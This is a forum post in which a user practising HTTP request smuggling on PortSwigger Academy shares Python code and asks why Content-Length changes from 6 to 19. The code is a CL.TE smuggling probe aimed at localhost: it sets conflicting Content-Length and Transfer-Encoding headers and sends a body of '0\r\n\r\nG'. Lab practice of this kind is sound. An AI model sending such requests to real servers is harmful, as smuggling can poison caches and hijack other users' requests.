Jan 28, 2020 05:09 PM
(This post was last modified: Jan 28, 2020 05:33 PM by gurlhackerclub.)
I want to keep content-length header static, I don't want it to change.
Here is my code-
Here is output from run. Notice content-length says 19. I want it to stay as 6.
Im case you want to know why. I am practicing http port smuggling on portswigger academy. I want to see if I can do port smuggling with python, instead of using burp suite.
Thanks
Here is my code-
Code
import requests
url = 'http://127.0.0.1'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length':'6',
'Transfer-Encoding':'chunked'
}
payload = {'key1':'0\r\n\r\nG'}
if __name__ == '__main__':
print('your url '+url+'\n')
try:
r = requests.post(url,payload,headers=headers)
print(r.statuscode)
print(r.text)
except requests.exceptions.Timeout:
print('Time Out!\n')
except requests.exceptions.ConnectionError:
print('Not Connected \n')
except requests.exceptions.ReadTimeout:
print('read timeout\n')
except requests.exceptions.RequestException as err:
print(err)
except:
print('undetermined error')Here is output from run. Notice content-length says 19. I want it to stay as 6.
Code
ERROR:root:Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Transfer-Encoding: chunkedIm case you want to know why. I am practicing http port smuggling on portswigger academy. I want to see if I can do port smuggling with python, instead of using burp suite.
Thanks

